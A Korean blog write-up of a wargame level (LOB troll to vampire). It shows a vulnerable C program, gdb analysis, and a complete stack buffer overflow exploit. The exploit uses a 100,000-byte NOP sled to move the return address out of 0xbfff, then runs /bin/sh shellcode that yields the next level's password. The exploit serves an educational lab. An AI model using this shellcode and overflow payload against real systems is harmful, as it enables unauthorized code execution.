728x90

troll / aspirin

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

argv[1][46]은 \xff가 아니어야한다. retn 주소로 쓰이는 부분인데 지금까진 늘 retn 주소가 0xbfff~ 형식이었다. 이를 벗어나기 위해선 매우 큰 인자를 argv[1]에 전달하면 된다.

vampire을 복사해서 복사한 파일을 대상으로 gdb를 실행한다.

0x80484af <main+127>:	push   %edx
0x80484b0 <main+128>:	lea    %eax,[%ebp-40]
0x80484b3 <main+131>:	push   %eax
0x80484b4 <main+132>:	call   0x8048370 <strcpy>

strcpy의 인자로 ebp-40이 들어가는걸 보니 buffer 주소다.

40bytes(buffer)+4bytes(sfp)를 A로 채울 것이다. 그리고 retn주소는 임의로 0xbfbfbfbf로 설정하고 \x90을 100000개 전달하였다. 스택은 인자의 길이에 따라 유동적으로 변하기에 긴 문자열을 전달하여 0xbfff를 벗어날 수 있다. strcpy를 수행하고나서 스택의 주소를 파악하였다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/troll/VAMPIRE `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048436 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/200x $ebp
0xbffe7428:	0x41414141	0xbfbfbfbf	0x90909090	0x90909090
0xbffe7438:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7448:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7458:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7468:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7478:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7488:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7498:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74f8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7508:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7518:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7528:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7538:	0x90909090	0x90909090	0x90909090	0x90909090

100000개의 \x90 밑에 쉘 코드가 있을 것이다. retn 주소를 0xbffe74f8로 정하였다.

[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xf8\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA񾿐1󿿐h//shh/bin⏓󿲒°
                                                            ̀ 
bash$ my-pass
euid = 509
music world

vampire 실행파일을 대상으로 실행하니 vampire 비밀번호가 나온다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21

+ Recent posts